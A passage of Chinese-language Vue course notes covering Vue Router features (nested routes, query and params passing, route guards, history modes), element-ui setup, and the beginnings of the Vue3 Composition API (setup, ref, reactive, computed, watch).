      <div class="col-xs-offset-2 col-xs-8">
        <div class="page-header"><h2>Vue Router Demo</h2></div>
      </div>
    </div>
    <div class="row">
      <div class="col-xs-2 col-xs-offset-2">
        <div class="list-group">
          <!-- 原始html中我们使用a标签实现页面的跳转 -->
          <!-- <a class="list-group-item active" href="./about.html">About</a> -->
          <!-- <a class="list-group-item" href="./home.html">Home</a> -->

          <!-- Vue中借助router-link标签实现路由的切换 -->
          <router-link class="list-group-item" active-class="active" to="/about">About</router-link>
          <router-link class="list-group-item" active-class="active" to="/home">Home</router-link>
        </div>
      </div>
      <div class="col-xs-6">
        <div class="panel">
          <div class="panel-body">
            <!-- 指定组件的呈现位置 -->
            <router-view></router-view>
          </div>
        </div>
      </div>
    </div>
  </div>
</template>

<script>
  export default {
    name:'App',
  }
</script>

<template>
	<h2>我是Home的内容</h2>
</template>

<script>
	export default {
		name:'Home'
	}
</script>
<template>
	<h2>我是About的内容</h2>
</template>

<script>
	export default {
		name:'About'
	}
</script>

几个注意事项

  1. 路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹
  2. 通过切换,"隐藏"了的路由组件,默认是被销毁掉的,需要的时候再去挂载
  3. 每个组件都有自己的$route属性,里面存储着自己的路由信息
  4. 整个应用只有一个router,可以通过组件的$router属性获取到

多级路由

  1. 配置路由规则,使用children配置项:
routes:[
	{
		path:'/about',
		component:About,
	},
	{
		path:'/home',
		component:Home,
		children:[ //通过children配置子级路由
			{
				path:'news', //此处一定不要写:/news !!!
				component:News
			},
			{
				path:'message',//此处一定不要写:/message !!!
				component:Message
			}
		]
	}
]
  1. 跳转(要写完整路径):
<router-link to="/home/news">News</router-link>

📝实例:

<template>
  <div>
    <h2>Home组件内容</h2>
    <div>
      <ul class="nav nav-tabs">
        <li>
          <router-link class="list-group-item" active-class="active" to="/home/news">News</router-link>
        </li>
        <li>
          <router-link class="list-group-item" active-class="active" to="/home/message">Message</router-link>
        </li>
      </ul>
      <router-view></router-view>
    </div>
  </div>
</template>

<script>
  export default {
    name:'Home',
  }
</script>
<template>
	<ul>
		<li>news001</li>
		<li>news002</li>
		<li>news003</li>
	</ul>
</template>

<script>
	export default {
		name:'News'
	}
</script>
<template>
  <div>
    <ul>
      <li>
        <a href="/message1">message001</a>&nbsp;&nbsp;
      </li>
      <li>
        <a href="/message2">message002</a>&nbsp;&nbsp;
      </li>
      <li>
        <a href="/message/3">message003</a>&nbsp;&nbsp;
      </li>
    </ul>
  </div>
</template>

<script>
  export default {
    name:'Message'
  }
</script>
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'

//创建并暴露一个路由器
export default new VueRouter({
  routes:[
    {
      path:'/about',
      component:About
    },
    {
      path:'/home',
      component:Home,
      children:[
        {
          path:'news',
          component:News,
        },
        {
          path:'message',
          component:Message,
        }
      ]
    }
  ]
})

路由的query参数

  1. 传递参数
<!-- 跳转并携带query参数,to的字符串写法 -->
<router-link :to="`/home/message/detail?${m.id}&${m.title}`">跳转</router-link>
				
<!-- 跳转并携带query参数,to的对象写法 -->
<router-link 
	:to="{
		path:'/home/message/detail',
		query:{
		   id:m.id,
       title:m.title
		}
	}"
>跳转</router-link>
  1. 接收参数:$route.query.id``$route.query.title

📝实例:

// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
	routes:[
		{
			path:'/about',
			component:About
		},
		{
			path:'/home',
			component:Home,
			children:[
				{
					path:'news',
					component:News,
				},
				{
					path:'message',
					component:Message,
					children:[
						{
							path:'detail',
							component:Detail,
						}
					]
				}
			]
		}
	]
})
<template>
  <div>
    <ul>
      <li v-for="m in messageList" :key="m.id">
        <!-- 跳转路由并携带query参数,to的字符串写法 -->
        <!-- <router-link :to="`/home/message/detail?id=${m.id}&title=${m.title}`">
        				{{m.title}}
      				</router-link>&nbsp;&nbsp; -->

        <!-- 跳转路由并携带query参数,to的对象写法 -->
        <router-link :to="{
          path:'/home/message/detail',
          query:{
            id:m.id,
            title:m.title
          	}
          }">
          {{m.title}}
        </router-link>

      </li>
    </ul>
    <hr>
      <router-view></router-view>
    </div>
</template>

<script>
  export default {
    name:'Message',
    data() {
      return {
        messageList:[
          {id:'001',title:'消息001'},
          {id:'002',title:'消息002'},
          {id:'003',title:'消息003'}
        ]
      }
    },
  }
</script>
<template>
	<ul>
		<li>消息编号:{{$route.query.id}}</li>
		<li>消息标题:{{$route.query.title}}</li>
	</ul>
</template>

<script>
	export default {
		name:'Detail',
		mounted() {
			console.log(this.$route)
		},
	}
</script>

命名路由

  1. 作用:可以简化路由的跳转
  2. 如何使用
  3. 给路由命名:
{
	path:'/demo',
	component:Demo,
	children:[
		{
			path:'test',
			component:Test,
			children:[
				{
          name:'hello' //给路由命名
					path:'welcome',
					component:Hello,
				}
			]
		}
	]
}
  1. 简化跳转:
<!--简化前,需要写完整的路径 -->
<router-link to="/demo/test/welcome">跳转</router-link>

<!--简化后,直接通过名字跳转 -->
<router-link :to="{name:'hello'}">跳转</router-link>

<!--简化写法配合传递参数 -->
<router-link 
	:to="{
		name:'hello',
		query:{
		   id:666,
       title:'你好'
		}
	}"
>跳转</router-link>

路由的params参数

  1. 配置路由,声明接收params参数
{
	path:'/home',
	component:Home,
	children:[
		{
			path:'news',
			component:News
		},
		{
			component:Message,
			children:[
				{
					name:'xiangqing',
					path:'detail/:id/:title', //使用占位符声明接收params参数
					component:Detail
				}
			]
		}
	]
}
  1. 传递参数
<!-- 跳转并携带params参数,to的字符串写法 -->
<router-link :to="/home/message/detail/666/你好">跳转</router-link>
				
<!-- 跳转并携带params参数,to的对象写法 -->
<router-link 
	:to="{
		name:'xiangqing', //必须使用name配置!!!
		params:{
		   id:666,
       title:'你好'
		}
	}"
>跳转</router-link>

注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置!

  1. 接收参数: $route.params.id``$route.params.title
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
  routes:[
    {
      name:'guanyu',
      path:'/about',
      component:About
    },
    {
      path:'/home',
      component:Home,
      children:[
        {
          path:'news',
          component:News,
        },
        {
          path:'message',
          component:Message,
          children:[
            {
              name:'xiangqing',
              path:'detail/:id/:title',
              component:Detail,
            }
          ]
        }
      ]
    }
  ]
})
<template>
  <div>
    <ul>
      <li v-for="m in messageList" :key="m.id">
        <!-- 跳转路由并携带params参数,to的字符串写法 -->
        <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`">
        	{{m.title}}
      	</router-link>&nbsp;&nbsp; -->

        <!-- 跳转路由并携带params参数,to的对象写法 -->
        <router-link :to="{
            name:'xiangqing',
            params:{
              id:m.id,
              title:m.title
          	}
          }">
          {{m.title}}
        </router-link>

      </li>
    </ul>
    <hr>
      <router-view></router-view>
    </div>
</template>

<script>
  export default {
    name:'Message',
    data() {
      return {
        messageList:[
          {id:'001',title:'消息001'},
          {id:'002',title:'消息002'},
          {id:'003',title:'消息003'}
        ]
      }
    },
  }
</script>
<template>
  <ul>
    <li>消息编号:{{$route.params.id}}</li>
    <li>消息标题:{{$route.params.title}}</li>
  </ul>
</template>

<script>
  export default {
    name:'Detail',
    mounted() {
      // console.log(this.$route)
    },
  }
</script>

路由的props配置

作用:让路由组件更方便的收到参数

{
  name:'xiangqing',
  path:'detail/:id',
  component:Detail,

  //第一种写法:props值为对象,该对象中所有的key-value的组合最终都会通过props传给Detail组件
  // props:{a:900}

  //第二种写法:props值为布尔值,布尔值为true,则把路由收到的所有params参数通过props传给Detail组件
  // props:true

  //第三种写法:props值为函数,该函数返回的对象中每一组key-value都会通过props传给Detail组件
  	props($route){ 	//括号中可以使用解构赋值
    	return {
        id:$route.query.id,
        title:$route.query.title
    }
  }
}
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
export default new VueRouter({
  routes:[
    {
      name:'guanyu',
      path:'/about',
      component:About
    },
    {
      path:'/home',
      component:Home,
      children:[
        {
          path:'news',
          component:News,
        },
        {
          path:'message',
          component:Message,
          children:[
            {
              name:'xiangqing',
              path:'detail',
              component:Detail,

              //props的第一种写法,值为对象,该对象中的所有key-value都会以props的形式传给Detail组件。
              // props:{a:1,b:'hello'}

              //props的第二种写法,值为布尔值,若布尔值为真,就会把该路由组件收到的所有params参数,以props的形式传给Detail组件。
              // props:true

              //props的第三种写法,值为函数
              props($route){
                return {
                  id:$route.query.id,
                  title:$route.query.title,
                  a:1,
                  b:'hello'
                }
              }
            }
          ]
        }
      ]
    }
  ]
})

<template>
  <div>
    <ul>
      <li v-for="m in messageList" :key="m.id">
        <!-- 跳转路由并携带params参数,to的字符串写法 -->
        <!-- <router-link :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp; -->

        <!-- 跳转路由并携带params参数,to的对象写法 -->
        <router-link :to="{
          	name:'xiangqing',
            query:{
              id:m.id,
              title:m.title
            }
          }">
          {{m.title}}
        </router-link>

      </li>
    </ul>
    <hr>
      <router-view></router-view>
    </div>
</template>

<script>
  export default {
    name:'Message',
    data() {
      return {
        messageList:[
          {id:'001',title:'消息001'},
          {id:'002',title:'消息002'},
          {id:'003',title:'消息003'}
        ]
      }
    },
  }
</script>
<template>
  <ul>
    <li>消息编号:{{id}}</li>
    <li>消息标题:{{title}}</li>
  </ul>
</template>

<script>
  export default {
    name:'Detail',
    props:['id','title'],
    computed: {
      // id(){
      // 	return this.$route.query.id
      // },
      // title(){
      // 	return this.$route.query.title
      // },
    },
    mounted() {
      // console.log(this.$route)
    },
  }
</script>

路由跳转的replace方法

  1. 作用:控制路由跳转时操作浏览器历史记录的模式
  2. 浏览器的历史记录有两种写入方式:分别为pushreplace,路由跳转时候默认为push
  • push是追加历史记录
  • replace是替换当前记录
  1. 如何开启replace模式:<router-link replace .......>News</router-link>
<template>
  <div>
    <h2>Home组件内容</h2>
    <div>
      <ul class="nav nav-tabs">
        <li>
          <router-link 
            replace 
            class="list-group-item" 
            active-class="active" 
            to="/home/news"
           >
            News
          </router-link>
        </li>
        <li>
          <router-link 
            replace 
            class="list-group-item" 
            active-class="active" 
            to="/home/message"
           >
            Message
          </router-link>
        </li>
      </ul>
      <router-view></router-view>
    </div>
  </div>
</template>

<script>
  export default {
    name:'Home',
  }
</script>

编程式路由导航

  1. 作用:不借助<router-link>实现路由跳转,让路由跳转更加灵活
  2. 具体编码:
//$router的几个API
//push和replace中内传的对象与<router-link>中的to相同
this.$router.push({
	name:'xiangqing',
		params:{
			id:xxx,
			title:xxx
		}
})

this.$router.replace({
	name:'xiangqing',
		params:{
			id:xxx,
			title:xxx
		}
})

this.$router.forward() //前进
this.$router.back() //后退
this.$router.go(3) //可前进也可后退
<template>
  <div class="col-xs-offset-2 col-xs-8">
    <div class="page-header">
      <h2>Vue Router Demo</h2>
      <button @click="back">后退</button>
      <button @click="forward">前进</button>
      <button @click="test">测试一下go</button>
    </div>
  </div>
</template>

<script>
  export default {
    name:'Banner',
    methods: {
      back(){
        this.$router.back()
      },
      forward(){
        this.$router.forward()
      },
      test(){
        this.$router.go(3)
      }
    },
  }
</script>
<template>
	<div>
		<ul>
			<li v-for="m in messageList" :key="m.id">
				<!-- 跳转路由并携带params参数,to的对象写法 -->
				<router-link :to="{
					name:'xiangqing',
					query:{
						id:m.id,
						title:m.title
					}
				}">
					{{m.title}}
				</router-link>
				<button @click="pushShow(m)">push查看</button>
				<button @click="replaceShow(m)">replace查看</button>
			</li>
		</ul>
		<hr>
		<router-view></router-view>
	</div>
</template>

<script>
	export default {
		name:'Message',
		data() {
			return {
				messageList:[
					{id:'001',title:'消息001'},
					{id:'002',title:'消息002'},
					{id:'003',title:'消息003'}
				]
			}
		},
		methods: {
			pushShow(m){
				this.$router.push({
					name:'xiangqing',
					query:{
						id:m.id,
						title:m.title
					}
				})
			},
			replaceShow(m){
				this.$router.replace({
					name:'xiangqing',
					query:{
						id:m.id,
						title:m.title
					}
				})
			}
		},
	}
</script>

缓存路由组件

  1. 作用:让不展示的路由组件保持挂载,不被销毁
  2. 具体编码:
//缓存一个路由组件 include中写想要缓存的组件名,不写表示全部缓存
<keep-alive include="News"> 
  <router-view></router-view>
</keep-alive>

//缓存多个路由组件
<keep-alive :include="['News','Message']"> 
  <router-view></router-view>
</keep-alive>
<template>
  <ul>
    <li>news001 <input type="text"></li>
    <li>news002 <input type="text"></li>
    <li>news003 <input type="text"></li>
  </ul>
</template>

<script>
  export default {
    name:'News',
    beforeDestroy() {
      console.log('News组件即将被销毁了')
    },
  }
</script>
<template>
  <div>
    <h2>Home组件内容</h2>
    <div>
      <ul class="nav nav-tabs">
        <li>
          <router-link 
            class="list-group-item" 
            active-class="active" 
            to="/home/news">News</router-link>
        </li>
        <li>
          <router-link 
            class="list-group-item" 
            active-class="active" 
            to="/home/message">Message</router-link>
        </li>
      </ul>
      <!-- 缓存多个路由组件 -->
      <!-- <keep-alive :include="['News','Message']"> -->

      <!-- 缓存一个路由组件 -->
      <keep-alive include="News">
        <router-view></router-view>
      </keep-alive>
    </div>
  </div>
</template>

<script>
  export default {
    name:'Home',
  }
</script>

activated deactivated

  1. 作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态
  2. 具体名字:
  • activated路由组件被激活时触发
  • deactivated路由组件失活时触发
<template>
	<ul>
		<li :style="{opacity}">欢迎学习Vue</li>
		<li>news001 <input type="text"></li>
		<li>news002 <input type="text"></li>
		<li>news003 <input type="text"></li>
	</ul>
</template>

<script>
	export default {
		name:'News',
		data() {
			return {
				opacity:1
			}
		},
		activated() {
			console.log('News组件被激活了')
			this.timer = setInterval(() => {
				console.log('@')
				this.opacity -= 0.01
				if(this.opacity <= 0) this.opacity = 1
			},16)
		},
		deactivated() {
			console.log('News组件失活了')
			clearInterval(this.timer)
		},
	}
</script>

路由守卫

  1. 作用:对路由进行权限控制
  2. 分类:全局守卫、独享守卫、组件内守卫
  • 全局守卫
//全局前置守卫:初始化时执行、每次路由切换前执行
router.beforeEach((to,from,next)=>{
  if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
    if(localStorage.getItem('school') === 'atguigu'){ //权限控制的具体规则
      next() //放行
    }else{
      alert('暂无权限查看')
    }
  }else{
    next() //放行
  }
})

//全局后置守卫:初始化时执行、每次路由切换后执行
router.afterEach((to,from)=>{
  if(to.meta.title){ 
    document.title = to.meta.title //修改网页的title
  }else{
    document.title = 'vue_test'
  }
})
  • 独享守卫
beforeEnter(to,from,next){
  if(to.meta.isAuth){ //判断当前路由是否需要进行权限控制
    if(localStorage.getItem('school') === 'atguigu'){
      next()
    }else{
      alert('暂无权限查看')
    }
  }else{
    next()
  }
}
  • 组件内守卫
//进入守卫:通过路由规则,进入该组件时被调用
beforeRouteEnter (to, from, next) {
},
//离开守卫:通过路由规则,离开该组件时被调用
beforeRouteLeave (to, from, next) {
}
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router =  new VueRouter({
  routes:[
    {
      name:'guanyu',
      path:'/about',
      component:About,
      meta:{title:'关于'}
    },
    {
      name:'zhuye',
      path:'/home',
      component:Home,
      meta:{title:'主页'},
      children:[
        {
          name:'xinwen',
          path:'news',
          component:News,
          meta:{isAuth:true,title:'新闻'}
        },
        {
          name:'xiaoxi',
          path:'message',
          component:Message,
          meta:{isAuth:true,title:'消息'},
          children:[
            {
              name:'xiangqing',
              path:'detail',
              component:Detail,
              meta:{isAuth:true,title:'详情'},
              props($route){
                return {
                  id:$route.query.id,
                  title:$route.query.title,
                }
              }
            }
          ]
        }
      ]
    }
  ]
})

//全局前置路由守卫————初始化的时候被调用、每次路由切换之前被调用
router.beforeEach((to,from,next)=>{
  console.log('前置路由守卫',to,from)
  if(to.meta.isAuth){ //判断是否需要鉴权
    if(localStorage.getItem('school')==='atguigu'){
      next()
    }else{
      alert('学校名不对,无权限查看!')
    }
  }else{
    next()
  }
})

//全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to,from)=>{
  console.log('后置路由守卫',to,from)
  document.title = to.meta.title || '硅谷系统'
})

export default router
// 该文件专门用于创建整个应用的路由器
import VueRouter from 'vue-router'
//引入组件
import About from '../pages/About'
import Home from '../pages/Home'
import News from '../pages/News'
import Message from '../pages/Message'
import Detail from '../pages/Detail'

//创建并暴露一个路由器
const router =  new VueRouter({
  routes:[
    {
      name:'guanyu',
      path:'/about',
      component:About,
      meta:{title:'关于'}
    },
    {
      name:'zhuye',
      path:'/home',
      component:Home,
      meta:{title:'主页'},
      children:[
        {
          name:'xinwen',
          path:'news',
          component:News,
          meta:{isAuth:true,title:'新闻'},
          //独享守卫,特定路由切换之后被调用
          beforeEnter: (to, from, next) => {
            console.log('独享路由守卫',to,from)
            if(to.meta.isAuth){ //判断是否需要鉴权
              if(localStorage.getItem('school')==='atguigu'){
                next()
              }else{
                alert('学校名不对,无权限查看!')
              }
            }else{
              next()
            }
          }
        },
        {
          name:'xiaoxi',
          path:'message',
          component:Message,
          meta:{isAuth:true,title:'消息'},
          children:[
            {
              name:'xiangqing',
              path:'detail',
              component:Detail,
              meta:{isAuth:true,title:'详情'},
              props($route){
                return {
                  id:$route.query.id,
                  title:$route.query.title,
                  a:1,
                  b:'hello'
                }
              }
            }
          ]
        }
      ]
    }
  ]
})

//全局后置路由守卫————初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to,from)=>{
  console.log('后置路由守卫',to,from)
  document.title = to.meta.title || '硅谷系统'
})

export default router
<template>
  <h2>我是About的内容</h2>
</template>

<script>
  export default {
    name:'About',
    //通过路由规则,进入该组件时被调用
    beforeRouteEnter (to, from, next) {
      console.log('About--beforeRouteEnter',to,from)
      if(to.meta.isAuth){ //判断是否需要鉴权
        if(localStorage.getItem('school')==='atguigu'){
          next()
        }else{
          alert('学校名不对,无权限查看!')
        }
      }else{
        next()
      }
    },
    //通过路由规则,离开该组件时被调用
    beforeRouteLeave (to, from, next) {
      console.log('About--beforeRouteLeave',to,from)
      next()
    }
  }
</script>

路由器的两种工作模式

  1. 对于一个url来说,什么是hash值?( #及其后面的内容就是hash值)
  2. hash值不会包含在 HTTP 请求中,即:hash值不会带给服务器
  3. hash模式:
    1. 地址中永远带着#号,不美观
    2. 若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法
    3. 兼容性较好
  4. history模式:
    1. 地址干净,美观
    2. 兼容性和hash模式相比略差
    3. 应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题
const router = new VueRouter({
  mode:'history',
  routes:[...]
})
export default router

Vue UI组件库

常用UI组件库

  1. 移动端常用UI组件库
  1. PC端常用UI组件库

element-ui基本使用

  1. 安装 element-ui:**npm i element-ui -S**
  2. 引入element-ui
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//引入ElementUI组件库
import ElementUI from 'element-ui';
//引入ElementUI全部样式
import 'element-ui/lib/theme-chalk/index.css';

//应用ElementUI
Vue.use(ElementUI);

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
})

  1. 使用element-ui
<template>
  <div>
    <button>原生的按钮</button>
    <input type="text">
      <atguigu-row>
        <el-button>默认按钮</el-button>
        <el-button type="primary">主要按钮</el-button>
        <el-button type="success">成功按钮</el-button>
        <el-button type="info">信息按钮</el-button>
        <el-button type="warning">警告按钮</el-button>
        <el-button type="danger">危险按钮</el-button>
      </atguigu-row>
      <atguigu-date-picker
        type="date"
        placeholder="选择日期">
      </atguigu-date-picker>
      <atguigu-row>
        <el-button icon="el-icon-search" circle></el-button>
        <el-button type="primary" icon="el-icon-s-check" circle></el-button>
        <el-button type="success" icon="el-icon-check" circle></el-button>
        <el-button type="info" icon="el-icon-message" circle></el-button>
        <el-button type="warning" icon="el-icon-star-off" circle></el-button>
        <el-button type="danger" icon="el-icon-delete" circle></el-button>
      </atguigu-row>
    </div>
</template>

<script>
  export default {
    name:'App',
  }
</script>

element-ui按需引入

  1. 安装babel-plugin-component:**npm i babel-plugin-component -D**
  2. 修改babel-config-js
module.exports = {
  presets: [
    '@vue/cli-plugin-babel/preset',
    ["@babel/preset-env", { "modules": false }],
  ],
  plugins:[
    [
      "component",
      {
        "libraryName": "element-ui",
        "styleLibraryName": "theme-chalk"
      }
    ]
  ]
}
  1. 引入element-ui
//引入Vue
import Vue from 'vue'
//引入App
import App from './App.vue'
//按需引入
import { Button,Row,DatePicker } from 'element-ui';

//应用ElementUI
Vue.component(Button.name, Button);
Vue.component(Row.name, Row);
Vue.component(DatePicker.name, DatePicker);
/* 或写成
 * Vue.use(Button)
 * Vue.use(Row)
 * Vue.use(DatePicker)
 */

//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
})

Vue3

创建Vue3工程

使用vue-cli创建

## 查看@vue/cli版本,确保@vue/cli版本在4.5.0以上
vue --version
## 安装或者升级你的@vue/cli
npm install -g @vue/cli
## 创建
vue create vue_test
## 启动
cd vue_test
npm run serve

使用vite创建

image.pngimage.png

## 创建工程
npm init vite-app <project-name>
## 进入工程目录
cd <project-name>
## 安装依赖
npm install
## 运行
npm run dev

分析工程结构

//引入的不再是Vue构造函数了,引入的是一个名为createApp的工厂函数
import { createApp } from 'vue'
import App from './App.vue'

//创建应用实例对象——app(类似于之前Vue2中的vm,但app比vm更“轻”)
const app = createApp(App)

//挂载
app.mount('#app')

//以上两行代码可以简写成如下
createApp(App).mount('#app')
<template>
  <!-- Vue3组件中的模板结构可以没有根标签 -->
  <img alt="Vue logo" src="./assets/logo.png">
    <HelloWorld msg="Welcome to Your Vue.js App"/>
  </template>

<script>
  import HelloWorld from './components/HelloWorld.vue'

  export default {
    name: 'App',
    components: {
      HelloWorld
    }
  }
</script>

<style>
  #app {
    font-family: Avenir, Helvetica, Arial, sans-serif;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    text-align: center;
    color: #2c3e50;
    margin-top: 60px;
  }
</style>

常用 Composition API

官方文档:https://v3.cn.vuejs.org/guide/composition-api-introduction.html

setup函数

  1. 理解:Vue3.0中一个新的配置项,值为一个函数
  2. setup是所有Composition API(组合API)“表演的舞台”
  3. 组件中所用到的:数据、方法等等,均要配置在setup中
  4. setup函数的两种返回值:
    1. 若返回一个对象,则对象中的属性、方法,在模板中均可以直接使用(重点关注!)
    2. 若返回一个渲染函数:则可以自定义渲染内容(了解)
  5. 注意点:
    1. 尽量不要与Vue2.x配置混用
      • Vue2.x配置(data、methos、computed…)中可以访问到setup中的属性、方法
      • 但在setup中不能访问到Vue2.x配置(data、methos、computed…)
      • 如果有重名, setup优先
    2. setup不能是一个async函数,因为返回值不再是return的对象,而是promise,模板看不到return对象中的属性(后期也可以返回一个Promise实例,但需要Suspense和异步组件的配合)
<template>
  <h1>一个人的信息</h1>
  <h2>姓名:{{ name }}</h2>
  <h2>年龄:{{ age }}</h2>
  <h2>性别:{{ sex }}</h2>
  <h2>a的值是:{{ a }}</h2>
  <button @click="sayHello">说话(Vue3所配置的——sayHello)</button>
  <button @click="sayWelcome">说话(Vue2所配置的——sayWelcome)</button>
  <button @click="test1">测试一下在Vue2的配置中去读取Vue3中的数据、方法</button>
  <button @click="test2">测试一下在Vue3的setup配置中去读取Vue2中的数据、方法</button>
</template>

<script>
  // import {h} from 'vue'
  export default {
    name: 'App',
    data() {
      return {
        sex: '男',
        a: 100,
      }
    },
    methods: {
      sayWelcome() {
        alert('欢迎来到尚硅谷学习')
      },
      test1() {
        console.log(this.sex)
        console.log(this.name)
        console.log(this.age)
        console.log(this.sayHello)
      },
    },

    //此处只是测试一下setup,暂时不考虑响应式的问题
    setup() {
      //数据
      let name = '张三'
      let age = 18

      //方法
      function sayHello() {
        alert(`我叫${name},我${age}岁了,你好啊!`)
      }
      function test2() {
        console.log(name)
        console.log(age)
        console.log(sayHello)
        console.log(this.sex)
        console.log(this.sayWelcome)
      }

      //返回一个对象(常用)
      return {
        name,
        age,
        sayHello,
        test2,
      }

      //返回一个函数(渲染函数)
      // return ()=> h('h1','尚硅谷')
    },
  }
</script>

ref函数

  • 作用: 定义一个响应式的数据
  • 语法: const xxx = ref(initValue)
    • 创建一个包含响应式数据的引用对象(reference对象,简称ref对象)
    • JS中操作数据:xxx.value
    • 模板中读取数据:不需要.value,直接<div>{{xxx}}</div>
  • 备注:
    • 接收的数据可以是:基本类型、也可以是对象类型
    • 基本类型的数据:响应式依然是靠Object.defineProperty()getset完成的
    • 对象类型的数据:内部"求助"了Vue3.0中的一个新函数——reactive函数
<template>
  <h1>一个人的信息</h1>
  <h2>姓名:{{ name }}</h2>
  <h2>年龄:{{ age }}</h2>
  <h3>工作种类:{{ job.type }}</h3>
  <h3>工作薪水:{{ job.salary }}</h3>
  <button @click="changInfo">修改人的信息</button>
</template>

<script>
  import { ref } from 'vue'
  export default {
    name: 'App',
    setup() {
      //数据
      let name = ref('张三')
      let age = ref(18)
      let job = ref({
        type: '前端工程师',
        salary: '30k',
      })

      //方法
      function changInfo() {
        name.value = '李四'
        age.value = 15
        job.value.type = '后端工程师'
        job.value.salary = '20k'
        console.log(name, age)
      }

      //返回一个对象(常用)
      return {
        name,
        age,
        changInfo,
        job,
      }
    },
  }
</script>

reactive函数

  • 作用: 定义一个对象类型的响应式数据(基本类型不要用它,要用ref函数)
  • 语法:const 代理对象= reactive(源对象)接收一个对象(或数组),返回一个代理对象(Proxy的实例对象,简称Proxy对象)
  • reactive定义的响应式数据是“深层次的”
  • 内部基于 ES6 的 Proxy 实现,通过代理对象操作源对象内部数据进行操作
<template>
  <h1>一个人的信息</h1>
  <h2>姓名:{{ person.name }}</h2>
  <h2>年龄:{{ person.age }}</h2>
  <h3>工作种类:{{ person.job.type }}</h3>
  <h3>工作薪水:{{ person.job.salary }}</h3>
  <h3>爱好:{{ person.hobby }}</h3>
  <h3>测试:{{ person.job.a.b.c }}</h3>
  <button @click="changInfo">修改人的信息</button>
</template>

<script>
  import { reactive } from 'vue'
  export default {
    name: 'App',
    setup() {
      //数据
      let person = reactive({
        name: '张三',
        age: 18,
        job: {
          type: '前端工程师',
          salary: '30K',
          a: {
            b: {
              c: 666,
            },
          },
        },
        hobby: ['抽烟', '喝酒', '烫头'],
      })

      //方法
      function changInfo() {
        person.name = '李四'
        person.age = 15
        person.job.type = '后端工程师'
        person.job.salary = '20k'
        person.job.a.b.c = 888
        person.hobby[0] = '学习'
        console.log(person)
      }

      //返回一个对象(常用)
      return {
        person,
        changInfo,
      }
    },
  }
</script>

Vue3中的响应式原理

vue2的响应式:

  • 实现原理:
    • 对象类型:通过Object.defineProperty()对属性的读取、修改进行拦截(数据劫持)
    • 数组类型:通过重写更新数组的一系列方法来实现拦截(对数组的变更方法进行了包裹)
Object.defineProperty(data, 'count', {
  get(){}, 
  set(){}
})
  • 存在问题:
    • 新增属性、删除属性, 界面不会更新
    • 直接通过下标修改数组, 界面不会自动更新

vue3的响应式:

  • 实现原理:
    • 通过Proxy(代理):拦截对象中任意属性的变化,包括:属性值的读写、属性的添加、属性的删除等
    • 通过Reflect(反射):对源对象的属性进行操作
    • MDN文档中描述的Proxy与Reflect:
new Proxy(data, {
  // 拦截读取属性值 target是源对象,prop是属性名
  get (target, prop) {
    return Reflect.get(target, prop)
  },
  // 拦截设置属性值或添加新属性
  set (target, prop, value) {
    return Reflect.set(target, prop, value)
  },
  // 拦截删除属性
  deleteProperty (target, prop) {
    return Reflect.deleteProperty(target, prop)
  }
})
proxy.name = 'tom'

reactive对比ref

  • 从定义数据角度对比:
    • ref用来定义:基本类型数据
    • reactive用来定义:对象(或数组)类型数据
    • 备注:ref也可以用来定义对象(或数组)类型数据,它内部会自动通过reactive转为代理对象
  • 从原理角度对比:
    • ref通过Object.defineProperty()getset来实现响应式(数据劫持)
    • reactive通过使用Proxy来实现响应式(数据劫持), 并通过Reflect操作源对象内部的数据
  • 从使用角度对比:
    • ref定义的数据:操作数据需要.value,读取数据时模板中直接读取不需要.value
    • reactive定义的数据:操作数据与读取数据:均不需要.value

setup的两个注意点

  • setup执行的时机
    • 在beforeCreate之前执行一次,this是undefined
  • setup的参数
    • props:值为对象,包含:组件外部传递过来且组件内部声明接收了的属性
    • context:上下文对象
      • attrs: 值为对象,包含:组件外部传递过来但没有在props配置中声明的属性,相当于this.$attrs
      • slots: 收到的插槽内容,相当于this.$slots
      • emit: 分发自定义事件的函数,相当于this.$emit

computed函数

  • 与Vue2.x中computed配置功能一致
  • 写法
import {computed} from 'vue'

setup(){
    ...
	  //计算属性——简写
    let fullName = computed(()=>{
        return person.firstName + '-' + person.lastName
    })
    //计算属性——完整
    let fullName = computed({
        get(){
            return person.firstName + '-' + person.lastName
        },
        set(value){
            const nameArr = value.split('-')
            person.firstName = nameArr[0]
            person.lastName = nameArr[1]
        }
    })
}

watch函数

  • 与Vue2.x中watch配置功能一致
  • 两个小“坑”:
    • 监视reactive定义的响应式数据时:oldValue无法正确获取、强制开启了深度监视(deep配置失效)
    • 监视reactive定义的响应式数据中某个对象属性时:deep配置有效
//情况一:监视ref定义的响应式数据
watch(sum,(newValue,oldValue)=>{
